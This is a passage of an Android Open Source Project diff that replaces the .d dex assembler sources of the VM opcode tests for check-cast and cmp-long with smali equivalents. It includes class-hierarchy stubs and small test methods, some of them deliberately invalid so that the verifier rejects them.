@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+.super Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass;
+.source "TestStubs.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass;-><init>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SuperClass.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SuperClass.smali
new file mode 100644
index 0000000..6fede5e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SuperClass.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SuperInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SuperInterface.smali
new file mode 100644
index 0000000..87a53db
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SuperInterface.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperInterface;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SuperInterface2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SuperInterface2.smali
new file mode 100644
index 0000000..7ab0e8a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SuperInterface2.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperInterface2;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/T_check_cast_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/T_check_cast_2.smali
new file mode 100644
index 0000000..be0449d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/T_check_cast_2.smali
@@ -0,0 +1,145 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/check_cast/d/T_check_cast_2;
+.super Ljava/lang/Object;
+.source "T_check_cast_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 20
+
+    const v1, 0x0
+
+# (SubClass instanceof SuperClass)
+    new-instance v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+
+    invoke-direct {v10}, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;-><init>()V
+
+    check-cast v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass;
+
+# (SubClass[] instanceof SuperClass[])
+    const v11, 0x1
+
+    new-array v10, v11, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+
+    check-cast v10, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass;
+
+# (SubClass[] instanceof Object)
+    new-array v10, v11, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+
+    check-cast v10, Ljava/lang/Object;
+
+# (SubClass instanceof SuperInterface)
+    new-instance v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+
+    invoke-direct {v10}, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;-><init>()V
+
+    check-cast v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperInterface;
+
+# !(SuperClass instanceof SubClass)
+    new-instance v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass;
+
+    invoke-direct {v10}, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass;-><init>()V
+
+    :try_start_21
+    check-cast v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+    :try_end_23
+    .catch Ljava/lang/ClassCastException; {:try_start_21 .. :try_end_23} :catch_24
+
+    goto :goto_27
+
+    :catch_24
+    add-int/lit16 v1, v1, 0x1
+
+    goto :goto_27
+
+# !(SubClass instanceof SuperInterface2)
+    :goto_27
+    new-instance v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+
+    invoke-direct {v10}, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;-><init>()V
+
+    :try_start_2c
+    check-cast v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperInterface2;
+    :try_end_2e
+    .catch Ljava/lang/ClassCastException; {:try_start_2c .. :try_end_2e} :catch_2f
+
+    goto :goto_32
+
+    :catch_2f
+    add-int/lit16 v1, v1, 0x1
+
+    goto :goto_32
+
+# !(SubClass[] instanceof SuperInterface)
+    :goto_32
+    new-array v10, v11, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+
+    :try_start_34
+    check-cast v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperInterface;
+    :try_end_36
+    .catch Ljava/lang/ClassCastException; {:try_start_34 .. :try_end_36} :catch_37
+
+    goto :goto_3a
+
+    :catch_37
+    add-int/lit16 v1, v1, 0x1
+
+    goto :goto_3a
+
+# !(SubClass[] instanceof SubClass)
+    :goto_3a
+    new-array v10, v11, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+
+    :try_start_3c
+    check-cast v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+    :try_end_3e
+    .catch Ljava/lang/ClassCastException; {:try_start_3c .. :try_end_3e} :catch_3f
+
+    goto :goto_42
+
+    :catch_3f
+    add-int/lit16 v1, v1, 0x1
+
+    goto :goto_42
+
+# !(SuperClass[] instanceof SubClass[])
+    :goto_42
+    new-array v10, v11, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass;
+
+    :try_start_44
+    check-cast v10, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+    :try_end_46
+    .catch Ljava/lang/ClassCastException; {:try_start_44 .. :try_end_46} :catch_47
+
+    goto :goto_49
+
+    :catch_47
+    add-int/lit16 v1, v1, 0x1
+
+    :goto_49
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_3.d
deleted file mode 100644
index d269a31..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_check_cast_3.java
-.class public dot.junit.opcodes.check_cast.d.T_check_cast_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-       check-cast v5, dot/junit/opcodes/check_cast/TestStubs
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_3.smali
new file mode 100644
index 0000000..653c380
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_3.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+       check-cast v5, Ldot/junit/opcodes/check_cast/TestStubs;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_4.d
deleted file mode 100644
index 77e28d2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_check_cast_4.java
-.class public dot.junit.opcodes.check_cast.d.T_check_cast_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)Ljava/lang/String;
-.limit regs 5
-
-       check-cast v4, java/lang/String
-       return-object v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_4.smali
new file mode 100644
index 0000000..c07365f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_4.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)Ljava/lang/String;
+.registers 5
+
+       check-cast v4, Ljava/lang/String;
+       return-object v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_5.d
deleted file mode 100644
index b76a68e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_check_cast_5.java
-.class public dot.junit.opcodes.check_cast.d.T_check_cast_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)V
-.limit regs 5
-       const v3, 1234
-       check-cast v3, java/lang/String
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_5.smali
new file mode 100644
index 0000000..137c31d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_5.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)V
+.registers 5
+       const v3, 1234
+       check-cast v3, Ljava/lang/String;
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_6.d
deleted file mode 100644
index 7e26639..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_check_cast_6.java
-.class public dot.junit.opcodes.check_cast.d.T_check_cast_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)V
-.limit regs 5
-
-       check-cast v5, java/lang/String
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_6.smali
new file mode 100644
index 0000000..c9b616d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_6.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)V
+.registers 5
+
+       check-cast v5, Ljava/lang/String;
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_7.d
deleted file mode 100644
index 8c7af68..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_check_cast_7.java
-.class public dot.junit.opcodes.check_cast.d.T_check_cast_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-       check-cast v5, dot/junit/opcodes/check_cast/Test_check_castN
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_7.smali
new file mode 100644
index 0000000..70b1066
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_7.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       check-cast v5, Ldot/junit/opcodes/check_cast/Test_check_castN;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_8.d
deleted file mode 100644
index 645436f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_check_cast_8.java
-.class public dot.junit.opcodes.check_cast.d.T_check_cast_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)V
-.limit regs 5
-       const-wide v0, 1234
-       check-cast v0, java/lang/String
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_8.smali
new file mode 100644
index 0000000..75c8c92
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_8.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)V
+.registers 5
+       const-wide v0, 1234
+       check-cast v0, Ljava/lang/String;
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_9.d
deleted file mode 100644
index e44cc10..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_9.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_check_cast_9.java
-.class public dot.junit.opcodes.check_cast.d.T_check_cast_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)Ljava/lang/String;
-.limit regs 5
-
-       check-cast v4, java/lang/String
-       return-object v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_9.smali
new file mode 100644
index 0000000..e6db942
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_9.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_9.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)Ljava/lang/String;
+.registers 5
+
+       check-cast v4, Ljava/lang/String;
+       return-object v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_1.d
deleted file mode 100644
index 60b9654..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmp_long_1.java
-.class public dot.junit.opcodes.cmp_long.d.T_cmp_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)I
-.limit regs 14
-
-       cmp-long v0, v10, v12
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_1.smali
new file mode 100644
index 0000000..bbd9bc3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmp_long_1.java"
+.class  public Ldot/junit/opcodes/cmp_long/d/T_cmp_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)I
+.registers 14
+
+       cmp-long v0, v10, v12
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_2.d
deleted file mode 100644
index e3bdfd4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_2.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmp_long_2.java
